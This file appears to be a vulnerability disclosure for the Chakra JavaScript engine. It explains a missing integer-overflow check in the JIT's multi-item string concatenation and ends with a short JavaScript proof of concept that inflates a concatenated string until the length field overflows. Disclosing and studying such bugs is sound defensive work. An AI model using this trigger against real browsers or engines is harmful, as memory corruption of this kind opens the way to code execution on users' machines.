28 lines
No EOL
791 B
JavaScript
28 lines
No EOL
791 B
JavaScript
/*
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The method "Lowerer::LowerSetConcatStrMultiItem" is used to generate machine code to concatenate strings.
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Here's a snippet of the method.
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void Lowerer::LowerSetConcatStrMultiItem(IR::Instr * instr)
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{
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...
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IR::IndirOpnd * dstLength = IR::IndirOpnd::New(concatStrOpnd, Js::ConcatStringMulti::GetOffsetOfcharLength(), TyUint32, func);
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...
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InsertAdd(false, dstLength, dstLength, srcLength, instr); <<------ (a)
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...
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}
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At (a), there's no check for integer overflow.
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Note: Chakra uses string chains to handle concatenated strings(the ConcatString class). So it doesn't require much memory to trigger the bug.
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PoC:
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*/
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let a = '';
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let b = 'A'.repeat(0x10000);
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for (let i = 0; i < 0x10000; i++) {
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a = 'BBBBBBBBB' + a + b;
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}
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print(a.length);
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print(b.length);
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print(a[0]); |